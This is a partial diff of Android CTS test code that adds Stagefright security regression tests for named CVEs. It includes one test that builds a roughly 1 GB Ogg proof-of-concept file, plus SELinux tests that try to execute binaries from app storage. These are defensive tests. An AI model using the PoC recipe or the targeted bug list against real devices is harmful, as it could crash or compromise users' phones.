+      should_be_protected_broadcast.setAction(prefix + action);
+      mContext.sendBroadcast(should_be_protected_broadcast);
+    }
+    catch (SecurityException e) {
+      return;
+    }
+
+    throw new SecurityException("An " + prefix + action +
+        " intent should not be broadcastable except by the system (declare " +
+        " as protected-broadcast in manifest)");
+  }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index a5faa42..72aff71 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -83,9 +83,9 @@
 
     private static final Set<String> WHITELISTED_PACKAGES = new HashSet<String>(Arrays.asList(
             // APKS are installed before beigning test
-            "android.netsecpolicy.usescleartext.false.cts",
-            "android.netsecpolicy.usescleartext.unspecified.cts",
-            "android.netsecpolicy.usescleartext.true.cts",
+            "android.netsecpolicy.usescleartext_false.cts",
+            "android.netsecpolicy.usescleartext_unspecified.cts",
+            "android.netsecpolicy.usescleartext_true.cts",
 
             // The accessibility APK required to be installed while running CTS
             "android.accessibilityservice.delegate",
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index a137e67..a01860c 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -53,6 +53,8 @@
 import java.io.InputStream;
 import java.net.URL;
 import java.nio.ByteBuffer;
+import java.io.FileOutputStream;
+import java.io.File;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
@@ -592,6 +594,61 @@
     }
 
     @SecurityTest
+    public void testStagefright_cve_2016_3756() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_3756);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_36592202() throws Exception {
+        Resources resources = getInstrumentation().getContext().getResources();
+        AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
+        int page_size = 25627;
+        byte [] blob = new byte[page_size];
+
+        // 127 bytes read and  25500 zeros constitute one Ogg page
+        FileInputStream fis = fd.createInputStream();
+        int numRead = fis.read(blob);
+        fis.close();
+
+        // Creating temp file
+        final File tempFile = File.createTempFile("poc_tmp", ".ogg", null);
+
+        try {
+            final FileOutputStream tempFos = new FileOutputStream(tempFile.getAbsolutePath());
+            int bytesWritten = 0;
+            // Repeat data till size is ~1 GB
+            for (int i = 0; i < 50000; i++) {
+                tempFos.write(blob);
+                bytesWritten += page_size;
+            }
+            tempFos.close();
+
+            final int fileSize = bytesWritten;
+            int timeout = (10 * 60 * 1000);
+
+            runWithTimeout(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+                    } catch (Exception | AssertionError  e) {
+                        if (!tempFile.delete()) {
+                            Log.e(TAG, "Failed to delete temporary PoC file");
+                        }
+                        fail("Operation was not successful");
+                    }
+                }
+            }, timeout);
+        } catch (Exception e) {
+            fail("Failed to test b/36592202");
+        } finally {
+            if (!tempFile.delete()) {
+                Log.e(TAG, "Failed to delete temporary PoC file");
+            }
+        }
+    }
+
+    @SecurityTest
     public void testStagefright_bug_30822755() throws Exception {
         doStagefrightTest(R.raw.bug_30822755);
     }
@@ -726,6 +783,16 @@
      ***********************************************************/
 
     @SecurityTest
+    public void testStagefright_bug_68664359() throws Exception {
+        doStagefrightTest(R.raw.bug_68664359, 60000);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_110435401() throws Exception {
+        doStagefrightTest(R.raw.bug_110435401, 60000);
+    }
+
+    @SecurityTest
     public void testStagefright_cve_2017_0474() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0474, 120000);
     }
@@ -818,6 +885,26 @@
         doStagefrightTest(R.raw.cve_2016_6699);
     }
 
+    @SecurityTest
+    public void testStagefright_bug_65484460() throws Exception {
+        doStagefrightTest(R.raw.bug_65484460);
+    }
+
+    @SecurityTest
+    public void testStagefright_cve_2017_18155() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_18155);
+    }
+
+    @SecurityTest
+    public void testStagefright_cve_2018_9423() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_9423);
+    }
+
+    @SecurityTest
+    public void testStagefright_cve_2016_3879() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_3879);
+    }
+
     private void doStagefrightTest(final int rid) throws Exception {
         doStagefrightTestMediaPlayer(rid);
         doStagefrightTestMediaCodec(rid);
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index 8d388cc..a3209fc 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -21,7 +21,6 @@
 import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import com.android.compatibility.common.util.PropertyUtil;
-import com.android.compatibility.common.util.CddTest;
 
 @SecurityTest
 public class VerifiedBootTest extends AndroidTestCase {
@@ -43,7 +42,6 @@
    * A device without the feature flag android.hardware.ram.normal is exempt if
    * it launched on a pre-P level.
    */
-  @CddTest(requirement="9.10/C-1-1,C-2-1")
   public void testVerifiedBootSupport() throws Exception {
     if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.O_MR1) {
       return;
diff --git a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
index 0de87c6..2da8452 100644
--- a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
+++ b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
@@ -1,5 +1,6 @@
 package android.security;
 
+import android.system.Os;
 import android.test.AndroidTestCase;
 import java.io.BufferedReader;
 import java.io.FileReader;
@@ -57,6 +58,31 @@
     }
 
     /**
+     * Check expectations of being able to read/execute dex2oat.
+     */
+    protected static void checkDex2oatAccess(boolean expectedAllowed) throws Exception {
+        File dex2oatBinary = new File("/system/bin/dex2oat");
+        assertTrue(dex2oatBinary.exists());
+
+        // Check permissions.
+        assertEquals(expectedAllowed, dex2oatBinary.canRead());
+        assertEquals(expectedAllowed, dex2oatBinary.canExecute());
+
+        // Try to execute dex2oat.
+        try {
+            Runtime rt = Runtime.getRuntime();
+            Process p = rt.exec(dex2oatBinary.getAbsolutePath());
+            p.waitFor();
+            assertEquals(expectedAllowed, true);
+        } catch (IOException ex) {
+            assertEquals(expectedAllowed, false);
+            assertEquals(ex.getMessage(),
+                    "Cannot run program \"" + dex2oatBinary.getAbsolutePath() +
+                    "\": error=13, Permission denied");
+        }
+    }
+
+    /**
      * Verify that selinux context is the expected domain based on
      * targetSdkVersion,
      */
@@ -81,5 +107,21 @@
         assertTrue(msg, m.matches());
     }
 
+    protected boolean canExecuteFromHomeDir() throws Exception {
+        File appDataDir = getContext().getFilesDir();
+        File temp = File.createTempFile("badbin", "exe", appDataDir);
+        temp.deleteOnExit();
+        String path = temp.getPath();
+        Os.chmod(path, 0700);
+        try {
+            Process process = new ProcessBuilder(path).start();
+        } catch (IOException e) {
+            return !e.toString().contains("Permission denied");
+        } finally {
+            temp.delete();
+        }
+        return true;
+    }
+
     private static final native String getFileContext(String path);
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk25/Android.mk b/tests/tests/selinux/selinuxTargetSdk25/Android.mk
old mode 100755
new mode 100644
index f9bfc95..040bc62
--- a/tests/tests/selinux/selinuxTargetSdk25/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk25/Android.mk
@@ -40,6 +40,9 @@
 LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk25TestCases
 LOCAL_PRIVATE_PLATFORM_APIS := true
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MIN_SDK_VERSION := 21
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml
old mode 100755
new mode 100644
diff --git a/tests/tests/selinux/selinuxTargetSdk25/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk25/src/android/security/SELinuxTargetSdkTest.java
index c966e5e..f0a76fc 100644
--- a/tests/tests/selinux/selinuxTargetSdk25/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk25/src/android/security/SELinuxTargetSdkTest.java
@@ -20,10 +20,14 @@
 import java.io.IOException;
 
 /**
- * Verify the selinux domain for apps running with targetSdkVersion<=25
+ * Verify the selinux domain for apps running with targetSdkVersion&lt;=25
  */
 public class SELinuxTargetSdkTest extends SELinuxTargetSdkTestBase
 {
+    public void testCanExecuteFromHomeDir() throws Exception {
+        assertTrue(canExecuteFromHomeDir());
+    }
+
     /**
      * Verify that selinux context is the expected domain based on
      * targetSdkVersion = 25
@@ -41,16 +45,20 @@
 
     /**
      * Verify that selinux context is the expected type based on
-     * targetSdkVersion = current
+     * targetSdkVersion = 25
      */
     public void testAppDataContext() throws Exception {
         String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+";
-        String msg = "Untrusted apps with targetSdkVersion of 25 and below and above" +
-            "must use the app_data_file selinux context and use the levelFrom=all " +
-            "selector in SELinux seapp_contexts which adds four category types " +
+        String msg = "Untrusted apps with targetSdkVersion of 25 and below " +
+            "must use the app_data_file selinux context and use the levelFrom=user " +
+            "selector in SELinux seapp_contexts which adds two category types " +
             "to the app_data_file context.\n" +
             "Example expected value: u:object_r:app_data_file:s0:c512,c768\n" +
             "Actual value: ";
         appDataContext(context, msg);
     }
+
+    public void testDex2oat() throws Exception {
+        checkDex2oatAccess(true);
+    }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk27/Android.mk b/tests/tests/selinux/selinuxTargetSdk27/Android.mk
old mode 100755
new mode 100644
index 37660a3..ae9e5bf
--- a/tests/tests/selinux/selinuxTargetSdk27/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk27/Android.mk
@@ -40,6 +40,9 @@
 LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk27TestCases
 LOCAL_PRIVATE_PLATFORM_APIS := true
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MIN_SDK_VERSION := 21
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml
old mode 100755
new mode 100644
diff --git a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
index cc394e2..0394a18 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
@@ -20,7 +20,7 @@
 import java.io.IOException;
 
 /**
- * Verify the selinux domain for apps running with 25<targetSdkVersion<=27
+ * Verify the selinux domain for apps running with 25&lt;targetSdkVersion&lt;=27
  */
 public class SELinuxTargetSdkTest extends SELinuxTargetSdkTestBase
 {
@@ -33,7 +33,7 @@
 
     /**
      * Verify that selinux context is the expected domain based on
-     * targetSdkVersion = 27
+     * targetSdkVersion = 26-27
      */
     public void testAppDomainContext() throws IOException {
         String context = "u:r:untrusted_app_27:s0:c[0-9]+,c[0-9]+";
@@ -48,16 +48,20 @@
 
     /**
      * Verify that selinux context is the expected type based on
-     * targetSdkVersion = current
+     * targetSdkVersion = 26-27
      */
     public void testAppDataContext() throws Exception {
         String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+";
         String msg = "Untrusted apps with targetSdkVersion in range 26-27 " +
-            "must use the app_data_file selinux context and use the levelFrom=all " +
-            "selector in SELinux seapp_contexts which adds four category types " +
+            "must use the app_data_file selinux context and use the levelFrom=user " +
+            "selector in SELinux seapp_contexts which adds two category types " +
             "to the app_data_file context.\n" +
             "Example expected value: u:object_r:app_data_file:s0:c512,c768\n" +
             "Actual value: ";
         appDataContext(context, msg);
     }
+
+    public void testDex2oat() throws Exception {
+        checkDex2oatAccess(true);
+    }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk28/Android.mk b/tests/tests/selinux/selinuxTargetSdk28/Android.mk
new file mode 100644
index 0000000..5108250
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/Android.mk
@@ -0,0 +1,48 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := tests
+LOCAL_MULTILIB := both
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
+
+LOCAL_JNI_SHARED_LIBRARIES := \
+    libc++ \
+    libcrypto \
+    libcts_jni \
+    libctsselinux_jni \
+    libnativehelper \
+    libnativehelper_compat_libc++ \
+    libpackagelistparser \
+    libpcre2 \
+    libselinux \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src common)
+LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk28TestCases
+LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MIN_SDK_VERSION := 21
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdk28/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk28/AndroidManifest.xml
new file mode 100644
index 0000000..11e4cac
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.selinuxtargetsdk28.cts">
+
+    <!-- This app tests that apps with targetSdkValue==28 are placed in the
+         untrusted_app_28 selinux domain -->
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="28" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.selinuxtargetsdk28.cts"
+                     android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml
new file mode 100644
index 0000000..6387031
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Permission Selinux test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSelinuxTargetSdk28TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.selinuxtargetsdk28.cts" />
+        <option name="runtime-hint" value="2m" />
+    </test>
+</configuration>
diff --git a/tests/tests/selinux/selinuxTargetSdk28/common b/tests/tests/selinux/selinuxTargetSdk28/common
new file mode 120000
index 0000000..581eb17
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/common
@@ -0,0 +1 @@
+../common/src
\ No newline at end of file
diff --git a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
new file mode 100644
index 0000000..4ccc725
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security;
+
+import android.test.AndroidTestCase;
+import java.io.IOException;
+
+/**
+ * Verify the selinux domain for apps running with targetSdkVersion==28
+ */
+public class SELinuxTargetSdkTest extends SELinuxTargetSdkTestBase
+{
+    /**
+     * Verify that net.dns properties may not be read
+     */
+    public void testNoDns() throws IOException {
+        noDns();
+    }
+
+    /**
+     * Verify that selinux context is the expected domain based on
+     * targetSdkVersion = 28
+     */
+    public void testAppDomainContext() throws IOException {
+        String context = "u:r:untrusted_app_27:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
+        String msg = "Untrusted apps with targetSdkVersion 28 " +
+            "must run in the untrusted_app selinux domain and use the levelFrom=all " +
+            "selector in SELinux seapp_contexts which adds four category types " +
+            "to the app's selinux context.\n" +
+            "Example expected value: u:r:untrusted_app:s0:c89,c256,c512,c768\n" +
+            "Actual value: ";
+        appDomainContext(context, msg);
+    }
+
+    /**
+     * Verify that selinux context is the expected type based on
+     * targetSdkVersion = 28
+     */
+    public void testAppDataContext() throws Exception {
+        String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
+        String msg = "Untrusted apps with targetSdkVersion 28 " +
+            "must use the app_data_file selinux context and use the levelFrom=all " +
+            "selector in SELinux seapp_contexts which adds four category types " +
+            "to the app_data_file context.\n" +
+            "Example expected value: u:object_r:app_data_file:s0:c89,c256,c512,c768\n" +
+            "Actual value: ";
+        appDataContext(context, msg);
+    }
+}
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
old mode 100755
new mode 100644
index 63bc768..fa65d3d
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
@@ -40,6 +40,9 @@
 LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdkCurrentTestCases
 LOCAL_PRIVATE_PLATFORM_APIS := true
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MIN_SDK_VERSION := 21
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml
old mode 100755
new mode 100644
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
index cf913fc..b5a3fb0 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
@@ -31,13 +31,18 @@
         noDns();
     }
 
+
+    public void testCanNotExecuteFromHomeDir() throws Exception {
+        assertFalse(canExecuteFromHomeDir());
+    }
+
     /**
      * Verify that selinux context is the expected domain based on
      * targetSdkVersion = current
      */
     public void testAppDomainContext() throws IOException {
         String context = "u:r:untrusted_app:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
-        String msg = "Untrusted apps with targetSdkVersion 28 and above " +
+        String msg = "Untrusted apps with targetSdkVersion 29 and above " +
             "must run in the untrusted_app selinux domain and use the levelFrom=all " +
             "selector in SELinux seapp_contexts which adds four category types " +
             "to the app's selinux context.\n" +
@@ -52,7 +57,7 @@
      */
     public void testAppDataContext() throws Exception {
         String context = "u:object_r:app_data_file:s0:c[0-9]+,c[0-9]+,c[0-9]+,c[0-9]+";
-        String msg = "Untrusted apps with targetSdkVersion 28 and above " +
+        String msg = "Untrusted apps with targetSdkVersion 29 and above " +
             "must use the app_data_file selinux context and use the levelFrom=all " +
             "selector in SELinux seapp_contexts which adds four category types " +
             "to the app_data_file context.\n" +
@@ -60,4 +65,8 @@
             "Actual value: ";
         appDataContext(context, msg);
     }
+
+    public void testDex2oat() throws Exception {
+        checkDex2oatAccess(false);
+    }
 }
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
index 5a174cc..eb62622 100644
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ b/tests/tests/shortcutmanager/throttling/Android.mk
@@ -38,5 +38,6 @@
     ShortcutManagerTestUtils
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 25
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index d611bd3..24152c6 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -18,6 +18,8 @@
 LOCAL_STATIC_LIBRARIES += \
   libbacktrace \
   libunwindstack \
+  libdexfile_support \
+  libdexfile_external \
   libdexfile \
   libziparchive \
   libz \
@@ -37,11 +39,10 @@
   libprotobuf-cpp-lite \
   libevent \
 
-LOCAL_POST_LINK_CMD =  \
-  TMP_FILE=`mktemp $(OUT_DIR)/simpleperf-post-link-XXXXXXXXXX` && \
-  (cd $(simpleperf_src_path)/testdata && zip - -0 -r .) > $$TMP_FILE && \
-  $($(LOCAL_2ND_ARCH_VAR_PREFIX)TARGET_OBJCOPY) --add-section .testzipdata=$$TMP_FILE $(linked_module) && \
-  rm -f $$TMP_FILE
+simpleperf_testdata_files := $(shell cd $(simpleperf_src_path); find testdata -type f)
+
+LOCAL_COMPATIBILITY_SUPPORT_FILES := \
+  $(foreach file, $(simpleperf_testdata_files), $(simpleperf_src_path)/$(file):CtsSimpleperfTestCases_$(file))
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
@@ -49,5 +50,8 @@
 include $(LLVM_DEVICE_BUILD_MK)
 include $(BUILD_CTS_EXECUTABLE)
 
+simpleperf_src_path :=
+simpleperf_testdata_files :=
+
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/simpleperf/AndroidTest.xml b/tests/tests/simpleperf/AndroidTest.xml
index eeb6f99..d4f462d 100644
--- a/tests/tests/simpleperf/AndroidTest.xml
+++ b/tests/tests/simpleperf/AndroidTest.xml
@@ -21,6 +21,10 @@
         <option name="push" value="CtsSimpleperfTestCases->/data/local/tmp/CtsSimpleperfTestCases" />
         <option name="append-bitness" value="true" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsSimpleperfTestCases_testdata->/data/local/tmp/testdata" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSimpleperfDebugApp.apk" />
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 8f46fd7..e4f99b8 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -34,6 +34,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 21
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index d9c21e3..44545c4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -26,6 +26,7 @@
 
 import android.content.Context;
 import android.content.Intent;
+import android.media.AudioManager;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
@@ -1132,6 +1133,54 @@
     }
 
     /**
+     * Asserts that a call does not have any of the specified call property bits specified.
+     *
+     * @param call The call.
+     * @param properties The property or properties which are not expected.
+     */
+    public void assertDoesNotHaveCallProperties(final Call call, final int properties) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return !call.getDetails().hasProperty(properties);
+                    }
+                },
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Call should not have properties " + properties
+        );
+    }
+
+    /**
+     * Asserts that the audio manager reports the specified audio mode.
+     *
+     * @param audioManager The audio manager to check.
+     * @param expectedMode The expected audio mode.
+     */
+    public void assertAudioMode(final AudioManager audioManager, final int expectedMode) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return audioManager.getMode() == expectedMode;
+                    }
+                },
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Audio mode was expected to be " + expectedMode
+        );
+    }
+
+    /**
      * Asserts that a call's capabilities are as expected.
      *
      * @param call The call.
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index 77f16ec..9e131ae 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -21,7 +21,9 @@
 import static org.hamcrest.CoreMatchers.instanceOf;
 import static org.junit.Assert.assertThat;
 
+import android.content.Context;
 import android.graphics.drawable.Icon;
+import android.media.AudioManager;
 import android.os.Bundle;
 import android.net.Uri;
 import android.telecom.Call;
@@ -658,6 +660,24 @@
     }
 
     /**
+     * Verifies that the AudioManager audio mode changes as expected based on whether a connection
+     * is using voip audio mode or not.
+     */
+    public void testSetVoipAudioMode() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        mConnection.setAudioModeIsVoip(true);
+        assertCallProperties(mCall, Call.Details.PROPERTY_VOIP_AUDIO_MODE);
+        AudioManager audioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        assertAudioMode(audioManager, AudioManager.MODE_IN_COMMUNICATION);
+
+        mConnection.setAudioModeIsVoip(false);
+        assertDoesNotHaveCallProperties(mCall, Call.Details.PROPERTY_VOIP_AUDIO_MODE);
+        assertAudioMode(audioManager, AudioManager.MODE_IN_CALL);
+    }
+
+    /**
      * Asserts that a call's extras contain a specified key.
      *
      * @param call The call.
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index b574a96..f45ccd8 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -213,4 +213,13 @@
                 + "default dialer.", result.contains("set as default dialer"));
         assertEquals(TestUtils.PACKAGE, TestUtils.getDefaultDialer(getInstrumentation()));
     }
+
+    /**
+     * Verifies that the {@link TelecomManager#getSystemDialerPackage()} API returns the correct
+     * package name for the preloaded system dialer app.
+     */
+    public void testGetSystemDialer() throws Exception {
+        String reportedDialer = mTelecomManager.getSystemDialerPackage();
+        assertEquals(mSystemDialer, reportedDialer);
+    }
 }
